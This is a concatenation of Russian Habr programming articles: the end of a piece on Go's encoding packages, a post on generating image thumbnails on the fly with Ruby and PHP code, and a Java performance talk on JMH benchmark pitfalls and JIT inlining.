В заключение, есть пару пакетов для непосредственного кодирования самих байт. Обычно кодирование байт используется для перевода их в печатаемый формат. Например, пакет encoding/hex используется для представления данных в шестнадцатеричной форме. Я лично его использовал только для отладочных целей. С другой стороны, иногда вам нужны печатаемые символы, потому что вы хотите отправить данные по протоколам, в которых, по историческим причинам, ограниченная поддержка бинарных данных (email, например). Пакеты encoding/base32 и encoding/base64 являюется хорошими примерами. Ещё один пример — пакет encoding/pem, который используется для кодирования TLS сертификатов.
Кодирование объектов
--------------------
Для кодирования объектов в стандартной библиотеке чуть меньше пакетов. Но, на практике, этих пакетов оказывается более, чем достаточно.
Если вы только не провели последние 10 лет в танке, то наверняка заметили, что [JSON](http://www.json.org/) стал форматом для кодирования объектов по умолчанию. Как уже упоминалось ранее, у JSON есть свои недостатки, но его очень просто использовать и его реализация есть почти во всех языках, поэтому и огромная популярность. Пакет [encoding/json](https://golang.org/pkg/encoding/json/) предоставляет отличную поддержку этого формата, и, также, в Go есть сторонние, более быстрые, реализации парсеров, такие как [ffjson](https://github.com/pquerna/ffjson).
И хотя JSON стал доминирующим протоколом обмена между машинами, формат CSV всё еще остается популярным для экспорта данных для людей. Пакет [encoding/csv](https://golang.org/pkg/encoding/csv/) предоставляет хороший интерфейс для работы с табличными данными в этом формате.
Если вы работете с системами, написанными в районе 2000-х, наверняка вам понадобится работать с [XML](https://en.wikipedia.org/wiki/XML). Пакет [encoding/xml](https://golang.org/pkg/encoding/xml/) предоставляет интерфейс в [SAX](https://en.wikipedia.org/wiki/Simple_API_for_XML)-стиле для дополнительного основанного на тэгах кодирования/декодирования, похожий на аналогичный пакет для [json](https://golang.org/pkg/encoding/json/). Если вам нужны более сложные манипуляции и штуки вроде DOM, XPath, XSD и XSLT, тогда вам, наверное нужно использовать [libxml2](http://xmlsoft.org/) через cgo.
У Go также есть свой собственный формат для потокового кодирования — [gob](https://golang.org/pkg/encoding/gob/). Этот пакет используется в [net/rpc](https://golang.org/pkg/net/rpc/) для реализации удаленного вызова процедур между Go сервисами. Gob прост в использовании, но он не поддерживается в других языках. [gRPC](http://www.grpc.io/) выглядит как более популярная альтернатива если вам нужен кросс-языковой инструмент.
И в заключение, есть пакет [encoding/asn1](https://golang.org/pkg/encoding/asn1/). Документация по нему скромная и единственная ссылка ведёт на 25 страничную стену текста — [введение для новичков в ASN.1](http://luca.ntop.org/Teaching/Appunti/asn1.html). ASN.1 это сложная схема кодировки, которая используется, в основном X.509 сертификами в SSL/TLS.
Заключение
==========
Кодирование даёт фундамент для придания логической структуры сырым байтам. Без него у нас бы не было ни строк, ни стркутур данных, ни баз данных или хоть сколько нибудь полезных приложений. То, что кажется простой концепцией, на самом деле имеет богатую историю реализаций и огромный набор компромиссов.
В этой статье мы рассмотрели различные реализации кодировок, реализованных в стандартной библиотеке и некоторых их компромиссы. Мы увидели, как эти пакеты для работы с базовыми типами и объектами построены на нашем понимании работы с байтами и потоками байт в Go. В следующих статьях мы заглянем глубже в эти пакеты и посмотрим, как их использовать в контексте реальных приложений. | https://habr.com/ru/post/309834/ | null | ru | null |
# Превью и Resize картинок на лету
Переделывал сайт заказчику на Netcat и с удивлением обнаружил, что кто-то ещё использует загрузку отдельных картинок для оригиналов и для превьюшек и как следствие отдельные столбцы в таблице БД. Куда ещё не шло создавать превьюшки на стороне сервера после загрузки оригинала.
Идея простая и не новая. C таким подходом я в первые столкнулся в UMI-CMS, а использовал в RubyOnRails. Смысл в том, что превью создаются только когда они нужны и какого угодно размера, а В БД храниться только название оригинала.
Если Вам необходимо вывести превью картинки вы вызываете функцию типа:
> `1. @thumbs = Photo.view\_thumbs('originals\_name\_file.jpg', '100', 'auto')`
где второй и третий параметр это нужный размер в пикселах (auto значит автоматическая подгонка под массштаб).
Метод view\_thumbs проверяет в папке (например "/images/cache") наличие файла originals\_name\_file\_100xauto.jpg. Если находит то возвращает строку «originals\_name\_file\_100xauto.jpg», если не находит, то создаёт файл нужных размеров на лету и возвращает то же самое.
Достоинства подхода очевидны:
1. Не создаётся мусора в виде большого количества превьюшек на диске. Все превью храняться в одной папке «cache» и могут периодически удаляться для освобождения места.
2. Неограниченное количество превьюшек разных размеров. Достаточно только задать нужные параметры в методе.
Для cakePHP есть хелпер images.php который можно выдернуть из Bakesale (автоматической подгонки нет). Ниже представлен метод на RubyOnRails реализующий данный подход.
> `1. require 'RMagick'
> 2.
> 3. class Photo < ActiveRecord::Base
> 4.
> 5. def self.view\_thumbs(image, width = 'auto', height = 'auto')
> 6. img\_arr = image.split(".")
> 7. img, img\_type = img\_arr[0], img\_arr[1]
> 8.
> 9. img\_thumbs = "#{img}\_#{width}x#{height}"
> 10. img\_main\_dir = "#{RAILS\_ROOT}/public/images/"
> 11. img\_thumbs\_dir = "#{RAILS\_ROOT}/public/images/cache/"
> 12.
> 13. begin
> 14. img\_thumbs = Magick::Image.read("#{img\_thumbs\_dir}/#{img\_thumbs}.#{img\_type}")
> 15. rescue Magick::ImageMagickError # Вся соль тут. Если нет нужного тхумбса, то после чтения вываливается ошибка, которую мы спасаем. Если всё нормально, то код далее не выполняется
> 16. img\_orig = Magick::Image.read("#{img\_main\_dir}/#{image}").first
> 17. img\_size = {:main =>{:cols => img\_orig.columns,:rows => img\_orig.rows},
> 18. :thumb =>{:cols =>0.0, :rows =>0.0}
> 19. }
> 20. if 'auto' == width and 'auto' == height
> 21. img\_size[:thumb][:rows] = img\_size[:main][:rows]
> 22. img\_size[:thumb][:cols] = img\_size[:main][:cols]
> 23. end
> 24. if 'auto' != width and 'auto' == height
> 25. img\_size[:thumb][:rows] = ((width.to\_f/img\_size[:main][:cols])\*img\_size[:main][:rows]).to\_i
> 26. img\_size[:thumb][:cols] = width.to\_i
> 27. end
> 28. if 'auto' == width and 'auto' != height
> 29. img\_size[:thumb][:rows] = height.to\_i
> 30. img\_size[:thumb][:cols] = ((height.to\_f/img\_size[:main][:rows])\*img\_size[:main][:cols]).to\_i
> 31. end
> 32. if 'auto' != width and 'auto' != height
> 33. img\_size[:thumb][:rows] = height.to\_i
> 34. img\_size[:thumb][:cols] = width.to\_i
> 35. end
> 36.
> 37. img\_new = img\_orig.resize!(img\_size[:thumb][:cols].to\_i, img\_size[:thumb][:rows].to\_i)
> 38. img\_new.write "#{img\_thumbs\_dir}/#{img\_thumbs}.#{img\_type}"
> 39. end
> 40. img\_thumbs = x
> 41. return "#{img\_thumbs}.#{img\_type}"
> 42. end
> 43. end`
Практика показывает, что указывание только одного размера в методе с автоматическим подгоном другого недостаточно. Если вы ограничиваете только по ширине, то обязательно попадётся картинка слишком высокая и вся вёрстка может съехать. То же самое с высотой. А в приведённом выше коде при указании одновременно и высоты и ширины ресайз будет без сохранения масштаба. Ниже приведён кусок кода на php, который реализует ресайз с ограничением и по высоте и по ширине с сохранением массштаба.
> `1. $img\_size = array(
> 2. 'main'=>array('width'=>imagesx($img\_src), 'height'=>imagesy($img\_src)),
> 3. 'thumb'=>array('width'=>0, 'height'=>0)
> 4. );
> 5.
> 6. if ('auto' == $width && 'auto' == $height) {
> 7. $img\_size['thumb']['height'] =(int) $img\_size['main']['height'];
> 8. $img\_size['thumb']['width'] =(int) $img\_size['main']['width'];
> 9. }
> 10. else if ('auto' != $width && 'auto' == $height) {
> 11. $img\_size['thumb']['width'] = (($img\_size['main']['width'] <= $width) ? $img\_size['main']['width'] : $width);
> 12. $img\_size['thumb']['height'] = (int) round(($img\_size['thumb']['width']/$img\_size['main']['width'])\*$img\_size['main']['height']);
> 13. }
> 14. else if ('auto' == $width && 'auto' != $height) {
> 15. $img\_size['thumb']['height'] = (($img\_size['main']['height'] <= $height) ? $img\_size['main']['height'] : $height);
> 16. $img\_size['thumb']['width'] = (int) round(($height/$img\_size['main']['height'])\*$img\_size['main']['width']);
> 17. }
> 18. else if ('auto' != $width && 'auto' != $height) {
> 19. $img\_size['thumb']['height'] = (($img\_size['main']['height'] <= $height) ? $img\_size['main']['height'] : $height);
> 20. $img\_size['thumb']['width'] = (($img\_size['main']['width'] <= $width) ? $img\_size['main']['width'] : $width);
> 21. $Kt = $img\_size['thumb']['height']/$img\_size['thumb']['width'];//5/1
> 22. $Km = $img\_size['main']['height']/$img\_size['main']['width'];//5/1
> 23.
> 24. if ($Kt > $Km){
> 25. $img\_size['thumb']['height'] = $img\_size['thumb']['width']\*$Km;
> 26. }
> 27. else if ($Kt < $Km) {
> 28. $img\_size['thumb']['width'] = $img\_size['thumb']['height']/$Km;
> 29. }
> 30. }`
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_###### Текст подготовлен в [Хабра Редакторе](http://www.softcoder.ru/blogeditor/) от © SoftCoder.ru | https://habr.com/ru/post/53912/ | null | ru | null |
# Производительность: нюансы против очевидностей
Приветствую, это текстовая версия моего доклада на [JPoint-2021](https://jpoint.ru/2021/talks/1ui7ta2itmzurm0vaqmyjw/). Как обычно я сделал упор на случаи из жизни и на повседневные вещи, используемые каждым разработчиком. Под кат приглашаются интересующиеся производительностью и им сочувствующие.
### Что такое нюанс?
Если верить [Большому энциклопедическому словарю](https://slovar.cc/enc/bolshoy/2105945.html), то нюанс (франц. nuance) - это оттенок, тонкое различие, едва заметный переход (в цвете, мысли, звуке и т. п.). Очень пошлое (и вместе с тем очень верное) объяснение определения дано в виде анекдота [тут](https://www.anekdot.ru/id/101180/).
### Откуда вообще берутся нюансы?
Действительно: почему отнюдь не всегда глядя на код мы можем с полной уверенностью сделать вывод о том, насколько быстро он будет работать? Краткий ответ: потому что Java многослойна. Развёрнутый ответ: потому что проделывая путь от исходного кода до машинных команд ваша программа может претерпеть настолько существенные изменения, что её поведение будет отличаться от ожидаемого. В общих чертах исполнение программы выглядит так:
* компилятор превращает исходный код в байт-код
* байт-код исполняется виртуальной машиной
* оптимизирующий компилятор (многоуровневый) меняет код на лету по мере его исполнения
* процессор исполняет инструкции, полученные от компилятора
Нюансы существуют на каждом из этапов, где-то они более очевидны, где-то неочевидны вовсе.
### Какие бывают нюансы?
* нюансы реализации/алгоритма
* нюансы исполнения
* нюансы измерения
Начнём, как это ни странно, с конца.
### Нюансы измерения
Все знают, что неправильно написанный бенчмарк даёт совершенно неверные результаты. Из этого наблюдения часто делается *ложный* и, по моему мнению, **опасный** вывод: если бенчмарк написан правильно, то его результаты можно использовать как неопровержимое доказательство *очевидной* полезности тех или иных изменений в коде.
Предположим, мы хотим узнать, какой из способов перебора массива будет быстрее:
```
byte[] bunn;
for (int i = 0; i < bunn.length; i++) { // перебор "по старому стилю"
use(bunn[i]);
}
for (byte bunny : bunn) { // подсластим синтаксис
use(bunny);
}
```
Казалось бы:
Оба способа делают одно и то же, тем более, что `for-each`является по сути синтаксическим сахаром для `for-i`. Но есть нюанс :)
```
@State(Scope.Thread)
@BenchmarkMode(Mode.AverageTime)
@OutputTimeUnit(TimeUnit.NANOSECONDS)
public class LoopyBenchmarks {
@Param({ "32", "1024", "32768" })
int size;
byte[] bunn;
@Setup
public void prepare() {
bunn = new byte[size];
}
@Benchmark
public void goodOldLoop(Blackhole fox) {
for (int y = 0; y < bunn.length; y++) {
fox.consume(bunn[y]);
}
}
@Benchmark
public void sweetLoop(Blackhole fox) {
for (byte bunny : bunn) {
fox.consume(bunny);
}
}
}
```
Этот мопед не мой, ниже я дам ссылку на автора, а пока давайте посмотрим на прогон:
```
Benchmark (size) Score Error Units
goodOldLoop 32 46.630 0.097 ns/op
goodOldLoop 1024 1199.338 0.705 ns/op
goodOldLoop 32768 37813.600 56.081 ns/op
sweetLoop 32 19.304 0.010 ns/op
sweetLoop 1024 475.141 1.227 ns/op
sweetLoop 32768 14295.800 36.071 ns/op
```
Впечатляет, правда?
> Использование синтаксического сахара дало почти двукратный прирост производительности на пустом месте! Нужно срочно переписывать код своего проекта!
>
>
Так думает начинающий разработчик и энтузиаст производительности (так когда-то думал и я). Более опытные не торопятся с выводами, ведь бенчмарк бенчмарку рознь. Быть может в наши исследования вкралась методологическая ошибка? К счастью для нас, создатели JMH описали [примеры на все случаи жизни](https://hg.openjdk.java.net/code-tools/jmh/file/tip/jmh-samples/src/main/java/org/openjdk/jmh/samples/), среди которых находим [нужный](https://hg.openjdk.java.net/code-tools/jmh/file/523c524305e2/jmh-samples/src/main/java/org/openjdk/jmh/samples/JMHSample_34_SafeLooping.java#l144):
```
@Fork(3)
@State(Scope.Thread)
@Warmup(iterations = 5, time = 1, timeUnit = TimeUnit.SECONDS)
@Measurement(iterations = 5, time = 1, timeUnit = TimeUnit.SECONDS)
@BenchmarkMode(Mode.AverageTime)
@OutputTimeUnit(TimeUnit.NANOSECONDS)
public class JMHSample_34_SafeLooping {
@Param({"1", "10", "100", "1000"})
int size;
int[] xs;
@Setup
public void setup() {
xs = new int[size];
for (int c = 0; c < size; c++) {
xs[c] = c;
}
}
@Benchmark
public void measureRight_1(Blackhole bh) {
for (int x : xs) {
bh.consume(work(x));
}
}
static final int BASE = 42;
static int work(int x) {
return BASE + x;
}
}
```
Получается, всё сделано как в лучших домах Потсдама и данные сами по себе верны, но из них сделан неправильный вывод. А правильный вывод сделал Ницан Вакарт в статье [The volatile read surprise](http://psy-lob-saw.blogspot.com/2014/08/the-volatile-read-suprise.html):
```
// старая версия класса org.openjdk.jmh.infra.Blackhole (до JMH 1.3)
public volatile byte b1, b2;
public volatile BlackholeL2 nullBait = null;
/**
* Consume object. This call provides a side effect
* preventing JIT to eliminate dependent computations.
*
* @param b object to consume.
*/
public final void consume(byte b) {
if (b == b1 & b == b2) {
// SHOULD NEVER HAPPEN
nullBait.b1 = b; // implicit null pointer exception
}
}
```
Внутри метода `Blackhole::consume` происходит два чтения из волатильных полей, которые создают эффект чёрного ящика, не давая компилятору выбросить источник аргумента `b`, и вынуждая исполнение отказаться от оптимизации доступа к полю `bunn` и каждый раз делать честное чтение из памяти, а не из кэша.
Поэтому простое считывание поля в переменную и проход по ней волшебным образом выравнивают показатели:
```
@Benchmark
public void goodOldLoopReturns(Blackhole fox) {
byte[] sunn = bunn; // make a local copy of the field
for (int y = 0; y < sunn.length; y++) {
fox.consume(sunn[y]);
}
}
```
Метод `goodOldLoopReturns`работает так же быстро, как и `for-each`
```
Benchmark (size) Score Error Units
goodOldLoopReturns 32 19.306 0.045 ns/op
goodOldLoopReturns 1024 476.493 1.190 ns/op
goodOldLoopReturns 32768 14292.286 16.046 ns/op
sweetLoop 32 19.304 0.010 ns/op
sweetLoop 1024 475.141 1.227 ns/op
sweetLoop 32768 14295.800 36.071 ns/op
```
Таким образом, `for-each` выигрывал лишь из-за неявной записи поля в переменную:
```
@Benchmark
public void sweetLoop(Blackhole fox) {
for (byte bunny : bunn) {
fox.consume(bunny);
}
}
```
после сборки превращается в
```
@Benchmark
public void sweetLoop(Blackhole fox) {
byte[] var2 = this.bunn; // <---
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
byte bunny = var2[var4];
fox.consume(bunny);
}
}
```
Мораль сей басни выражена в послесловии к выводу каждого бенчмарка:
> REMEMBER: **The numbers below are just data.** To gain reusable insights, you need to follow up on why the numbers are the way they are. Use profilers (see -prof, -lprof), design factorial experiments, perform baseline and negative tests that provide experimental control, make sure the benchmarking environment is safe on JVM/OS/HW level, ask for reviews from the domain experts. **Do not assume the numbers tell you what you want them to tell.**
>
>
На языке родных осин это означает, что **правильное толкование полученных данных столь же важно, как и написание правильного бенчмарка**. Цифры сами по себе ничто, понимание - всё.
Небольшое послесловие к Blackhole Начиная с версии 1.3 и до 1.28 класс Blackhole был переписан, чтобы уменьшить вредное воздействие волатильного доступа:
```
public volatile byte b1; // только b1 объявлен как volatile
public byte b2;
public final void consume(byte b) {
byte b1 = this.b1;
byte b2 = this.b2;
if (b == b1 & b == b2) {
nullBait.b1 = b;
}
}
```
Теперь разница стала заметно скромнее:
```
(size) Score Error Units
goodOldLoop 32 70.307 ± 0.752 ns/op
goodOldLoop 1024 2239.560 ± 21.611 ns/op
goodOldLoop 32768 70890.224 ± 3475.436 ns/op
sweetLoop 32 103.163 ± 39.564 ns/op
sweetLoop 1024 1812.092 ± 4.234 ns/op
sweetLoop 32768 57918.608 ± 249.921 ns/op
goodOldLoopReturns 32 59.757 ± 0.748 ns/op
goodOldLoopReturns 1024 1843.383 ± 37.246 ns/op
goodOldLoopReturns 32768 57704.539 ± 217.073 ns/op
```
Тем не менее, это ещё не предел (в пределе разницы быть вообще не должно). Начиная с версии 1.29 разработчики добавили возможность реализации чёрного ящика с помощью компиляторных хитростей:
```
private static final boolean COMPILER_BLACKHOLE = Boolean.getBoolean("compilerBlackholesEnabled");
public final void consume(byte b) {
if (COMPILER_BLACKHOLE) {
consumeCompiler(b);
} else {
consumeFull(b); // старый подход с волатильностью
}
}
// Compiler blackholes block: let compilers figure out how to deal with it.
private static void consumeCompiler(byte v) {}
// Full blackholes block: confuse compilers to get blackholing effects.
// See implementation comments at the top to understand what this code is doing.
private void consumeFull(byte b) {
byte b1 = this.b1; // volatile read
byte b2 = this.b2;
if ((b ^ b1) == (b ^ b2)) {
nullBait.b1 = b; // implicit null pointer exception
}
}
```
Критик наверняка скажет: "Но это выдуманный пример!". На деле, не такой уж и выдуманный:
```
byte[] bunn;
@Benchmark
public void goodOldLoop(Blackhole fox) {
for (int y = 0; y < bunn.length; y++) {
fox.consume(bunn[y]);
}
}
//-------------------
E[] elements;
@Override
public void forEach(Consumer consumer) {
for (int i = 0; i < elements.length; i++) {
consumer.accept(elements[i]);
}
}
```
Да-да, наш метод как две капли воды похож на реализацию `Iterable.forEach(Consumer)`, который есть у любой коллекции. Выше мы убедились, что в 99 случаях из 100 способ перебора не важен, но на всякий сотый случай все коллекции на основе массива используют либо `for-each`, либо выполняют явную синхронизацию на стеке:
j.u.ArrayList
```
@Override
public void forEach(Consumer super E action) {
Objects.requireNonNull(action);
final int expectedModCount = modCount;
final Object[] es = elementData;
final int size = this.size;
for (int i = 0; modCount == expectedModCount && i < size; i++)
action.accept(elementAt(es, i));
if (modCount != expectedModCount)
throw new ConcurrentModificationException();
}
```
j.u.Arrays$ArrayList
```
@Override
public void forEach(Consumer super E action) {
Objects.requireNonNull(action);
for (E e : a) {
action.accept(e);
}
}
```
j.u.c.CopyOnWriteArrayList
```
public void forEach(Consumer super E action) {
Objects.requireNonNull(action);
for (Object x : getArray()) {
@SuppressWarnings("unchecked") E e = (E) x;
action.accept(e);
}
}
```
j.u.ArrayDeque
```
public void forEach(Consumer super E action) {
Objects.requireNonNull(action);
final Object[] es = elements;
for (int i = head, end = tail, to = (i <= end) ? end : es.length;
; i = 0, to = end) {
for (; i < to; i++)
action.accept(elementAt(es, i));
if (to == end) {
if (end != tail) throw new ConcurrentModificationException();
break;
}
}
}
```
На этом примере хорошо виден круговорот очевидностей и нюансов в природе:
* бенчмарк показал очевидную разницу между for-i и for-each
* нюанс: причина в инфраструктуре JMH
* очевидно, что в 99 случаях из 100 способ перебора массива не влияет на производительность
* нюанс: есть редкие случаи, когда всё же влияет
### Нюансы исполнения
Рассмотрим [метод](https://github.com/spring-projects/spring-framework/blob/ff234568d20330e79ba0d9f0149f00bee211c528/spring-core/src/main/java/org/springframework/util/StringUtils.java#L763) `o.s.util.StringUtils.uriDecode(String, Charset)`. Он нужен для превращения кодированной ссылки вроде
```
https%3A%2F%2Fru.wikipedia.org%2Fwiki%2F%D0%9E%D1%80%D0%B3%D0%B0%D0%BD%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F_%D0%9E%D0%B1%D1%8A%D0%B5%D0%B4%D0%B8%D0%BD%D1%91%D0%BD%D0%BD%D1%8B%D1%85_%D0%9D%D0%B0%D1%86%D0%B8%D0%B9
```
в более удобочитаемую
```
https://ru.wikipedia.org/wiki/Организация_Объединённых_Наций
```
Метод довольно громоздкий, а нас интересует последняя строка:
```
public static String uriDecode(String source, Charset charset) {
int length = source.length();
if (length == 0) {
return source;
}
Assert.notNull(charset, "Charset must not be null");
ByteArrayOutputStream bos = new ByteArrayOutputStream(length);
boolean changed = false;
for (int i = 0; i < length; i++) {
// ...
}
return changed ? new String(bos.toByteArray(), charset) : source;
}
```
А в ней - использование метода `ByteArrayOutputStream.toByteArray()`:
```
return changed ? new String(bos.toByteArray(), charset) : source;
```
Этот метод возвращает копию массива, хранящегося внутри `ByteArrayOutputStream`:
```
public synchronized byte[] toByteArray() {
return Arrays.copyOf(this.buf, this.count);
}
```
Всё логично: строка создаётся из копии массива. Теперь взглянем на соседний метод `ByteArrayOutputStream.toString(String charsetName)`:
```
public synchronized String toString(String charsetName) throws Exception {
return new String(buf, 0, count, charsetName);
}
```
Он делает то же самое, что и `new String(bos.toByteArray(), charset)`, только без создания промежуточной копии. Поскольку и `ByteArrayOutputStream.toString()`, и `ByteArrayOutputStream.toByteArray()` синхронизированы, а внутри строки в любом случае создаётся новый `byte[]`, то выражение `new String(bos.toByteArray(), charset)` можно заменить выражением `bos.toString(charset)`, обработав при этом сопутствующее исключение.
Здравый смысл подсказывают, что избавившись от создания промежуточного массива мы получим прирост производительности. [Бенчмарк](https://github.com/stsypanov/strings/blob/master/src/jmh/java/tsypanov/strings/baos/ByteArrayOutputStreamBenchmark.java) подтверждает догадку:
```
(length) Score Error Units
newString 0 66.084 ± 2.121 ns/op
newString 10 53.232 ± 1.569 ns/op
newString 100 96.067 ± 1.466 ns/op
newString 1000 667.188 ± 33.071 ns/op
toString 0 44.601 ± 0.656 ns/op
toString 10 45.151 ± 0.397 ns/op
toString 100 77.924 ± 0.645 ns/op
toString 1000 511.302 ± 1.730 ns/op
newString:·gc.alloc.rate.norm 0 96.000 ± 0.001 B/op
newString:·gc.alloc.rate.norm 10 136.000 ± 0.001 B/op
newString:·gc.alloc.rate.norm 100 400.000 ± 0.001 B/op
newString:·gc.alloc.rate.norm 1000 3096.001 ± 0.001 B/op
toString:·gc.alloc.rate.norm 0 40.000 ± 0.001 B/op
toString:·gc.alloc.rate.norm 10 64.000 ± 0.001 B/op
toString:·gc.alloc.rate.norm 100 240.000 ± 0.001 B/op
toString:·gc.alloc.rate.norm 1000 2040.001 ± 0.001 B/op
```
Наш расчёт оправдался: прирост есть как по времени, так и по памяти. Теперь [проверим](https://gist.github.com/stsypanov/600692e23c215607cb5e66dd73139b38), улучшилась ли производительность `StringUtils.uriDecode(String, Charset)`:
```
Score Error Units
before
uriDecode 766.285 ± 22.110 ns/op
uriDecode:·gc.alloc.rate.norm 816.001 ± 0.001 B/op
after
uriDecode 720.208 ± 5.968 ns/op
uriDecode:·gc.alloc.rate.norm 712.001 ± 0.001 B/op
```
Время исполнения уменьшилось на 6%, а потребление памяти - на 12,75%. Вроде бы мелочь, но приятно, тем более что замену [можно автоматизировать](https://youtrack.jetbrains.com/issue/IDEA-238645).
#### Где раскодирование, там и кодирование
Этот же подход можно применить к прочим подобным классам, например, к `java.io.CharArrayWriter`:
```
public char[] toCharArray() {
synchronized(this.lock) {
return Arrays.copyOf(this.buf, this.count);
}
}
public String toString() {
synchronized(this.lock) {
return new String(this.buf, 0, this.count);
}
}
```
[Проверим](https://github.com/stsypanov/strings/blob/master/src/jmh/java/tsypanov/strings/character/CharArrayWriterBenchmark.java), насколько метод `toString()` выигрывает у промежуточного массива:
```
(length) Score Error Units
toCharArray 5 19.767 ± 0.134 ns/op
toCharArray 10 18.664 ± 0.128 ns/op
toCharArray 50 21.823 ± 0.264 ns/op
toCharArray 100 29.041 ± 0.145 ns/op
toCharArray 1000 250.129 ± 2.446 ns/op
toString 5 15.361 ± 0.752 ns/op
toString 10 14.472 ± 0.251 ns/op
toString 50 16.048 ± 0.102 ns/op
toString 100 19.245 ± 0.137 ns/op
toString 1000 82.624 ± 1.824 ns/op
toCharArray:·gc.alloc.rate.norm 5 80.000 ± 0.001 B/op
toCharArray:·gc.alloc.rate.norm 10 96.000 ± 0.001 B/op
toCharArray:·gc.alloc.rate.norm 50 216.000 ± 0.001 B/op
toCharArray:·gc.alloc.rate.norm 100 360.000 ± 0.001 B/op
toCharArray:·gc.alloc.rate.norm 1000 3056.000 ± 0.001 B/op
toString:·gc.alloc.rate.norm 5 48.000 ± 0.001 B/op
toString:·gc.alloc.rate.norm 10 56.000 ± 0.001 B/op
toString:·gc.alloc.rate.norm 50 96.000 ± 0.001 B/op
toString:·gc.alloc.rate.norm 100 144.000 ± 0.001 B/op
toString:·gc.alloc.rate.norm 1000 1040.000 ± 0.001 B/op
```
В JDK есть даже подопытный компонент - `java.net.URLEncoder`, использующий `CharArrayWriter` в [методе](https://hg.openjdk.java.net/jdk/jdk/file/01c5097cf1cd/src/java.base/share/classes/java/net/URLEncoder.java#l220) `encode()` схожим образом:
```
String str = new String(charArrayWriter.toCharArray());
```
Получается, здесь возможна аналогичная замена:
```
String str = charArrayWriter.toString();
```
Соберём JDK и измерим производительность:
```
@State(Scope.Thread)
@BenchmarkMode(Mode.AverageTime)
@OutputTimeUnit(TimeUnit.NANOSECONDS)
@Fork(jvmArgsAppend = {"-Xms2g", "-Xmx2g"})
public class UrlEncoderBenchmark {
Charset charset = Charset.defaultCharset();
String utf8Url = "https://ru.wikipedia.org/wiki/Организация_Объединённых_Наций";
@Benchmark
public String encodeUtf8() {
return URLEncoder.encode(utf8Url, charset);
}
}
```
И вдруг:
```
Score Error Units
before 1108.668 ± 6.226 ns/op
after 1454.647 ± 6.067 ns/op <-- !
before:·gc.alloc.rate.norm 1712.202 ± 0.003 B/op
after:·gc.alloc.rate.norm 1528.219 ± 0.007 B/op
```
Теперь мы потребляем меньше памяти, но, время выполнения выросло почти на четверть! Почему в одном случае всё отработало хорошо, а в похожем как две капли воды мы не только не получили прироста, но и наоборот - производительность ухудшилась? С этим вопросом я пошел в [hotspot-compiler-dev](https://mail.openjdk.java.net/pipermail/hotspot-compiler-dev/2020-July/039230.html), т. к. был уверен, что речь идёт об ошибке оптимизирующего компилятора. Так выглядит лог вклеивания до моих изменений:
```
@ 186 j.i.CharArrayWriter::flush (1 bytes) inline (hot)
!m @ 195 j.i.CharArrayWriter::toCharArray (26 bytes) inline (hot)
@ 15 j.u.Arrays::copyOf (19 bytes) inline (hot)
@ 11 j.l.Math::min (11 bytes) (intrinsic)
@ 14 j.l.System::arraycopy (0 bytes) (intrinsic)
@ 198 j.l.String:: (10 bytes) inline (hot)
@ 6 j.l.String:: (74 bytes) inline (hot)
@ 1 j.l.Object:: (1 bytes) inline (hot)
@ 36 j.l.StringUTF16::compress (20 bytes) inline (hot)
@ 9 j.l.StringUTF16::compress (50 bytes) (intrinsic)
@ 67 j.l.StringUTF16::toBytes (34 bytes) (intrinsic)
```
А таким он стал после (внимание на вторую и седьмую строки):
```
@ 186 j.i.CharArrayWriter::flush (1 bytes) inline (hot)
!m @ 191 j.i.CharArrayWriter::toString (31 bytes) already compiled into a big method
@ 199 j.l.String::getBytes (25 bytes) inline (hot)
@ 14 j.l.String::coder (15 bytes) inline (hot)
! @ 21 j.l.StringCoding::encode (324 bytes) inline (hot)
@ 10 j.l.StringCoding::encodeUTF8 (132 bytes) inline (hot)
@ 7 j.l.StringCoding::encodeUTF8_UTF16 (369 bytes) hot method too big
@ 15 j.l.StringCoding::hasNegatives (25 bytes) (intrinsic)
@ 24 j.u.Arrays::copyOf (19 bytes) inline (hot)
@ 11 j.l.Math::min (11 bytes) (intrinsic)
@ 14 j.l.System::arraycopy (0 bytes) (intrinsic)
```
Мы видим, что `CharArrayWriter::toString` и `StringCoding::encodeUTF8_UTF16` не были встроены в точку вызова из-за своего размера (хотя оба скомпилированы полностью). Также в логе компиляции появилась такая запись (внимание на последнюю строку):
```
```
Таким образом, в скомпилированном коде появилась дыра, где нам нужно сделать честный вызов метода, что ломает многие оптимизации, ведь компилятор не знает, что нас ждёт внутри чёрного ящика (точно так же `Blackhole` ломал оптимизации в первом примере).
Увеличение объёма кода вызвано использованием другого конструктора:
```
// вызывается при использовании копии массива
public String(char value[]) {
this(value, 0, value.length, null);
}
// вызывается при использовании CharArrayWriter.toString()
public String(char[] value, int offset, int count) {
this(value, offset, count, rangeCheck(value, offset, count));
}
// здесь выполняется основная работа
String(char[] value, int off, int len, Void sig) {...}
```
Очевидно, что преобразование `char[]`-> `byte[]` выполняется внутри последнего конструктора, а единственная разница заключается в проверке границ в скромном методе `rangeCheck(char[], int, int)`:
```
private static Void rangeCheck(char[] value, int offset, int count) {
checkBoundsOffCount(offset, count, value.length);
return null;
}
static void checkBoundsOffCount(int offset, int count, int length) {
if (offset < 0 || count < 0 || offset > length - count) {
throw new StringIndexOutOfBoundsException(
"offset " + offset + ", count " + count + ", length " + length);
}
}
```
но этого оказалось достаточно. [Выяснилось](https://mail.openjdk.java.net/pipermail/hotspot-compiler-dev/2020-July/039233.html), что
> C2 uses a bunch of of heuristics. Here, it's detected that `CharArrayWriter::toString`is large and has already been compiled so there's no sense inlining another copy of it. This isn't necessarily true, but it's a good guess. Try playing with `InlineSmallCode` start with = 1000, and increases it from there to see if it helps.
>
>
[Определение](https://www.oracle.com/java/technologies/javase/vmoptions-jsp.html) -XX:InlineSmallCode звучит так:
> Inline a previously compiled method only if its generated native code size is less than this. The default value varies with the platform on which the JVM is running.
>
>
Более развёрнутое (и более простое, как мне кажется) определение дано в статье ["Java HotSpot JIT компилятор — устройство, мониторинг и настройка (часть 2)"](https://habr.com/ru/post/536514/), которая категорически рекомендуется к прочтению:
> Встраиванию не подлежат скомпилированные на последнем уровне методы, занимающие более 1000 байт при выключенной многоуровневой компиляции и 2000 байт при включенной
>
>
Несмотря на всё вышесказанное я создал [ПР](https://github.com/openjdk/jdk/pull/1598) и протолкнул свои изменения:
Сделать это мне удалось благодаря другому ПР, на первый взгляд никак не связанному с моим: [8254913: Increase InlineSmallCode default from 2000 to 2500 for x64](https://github.com/openjdk/jdk/pull/705).
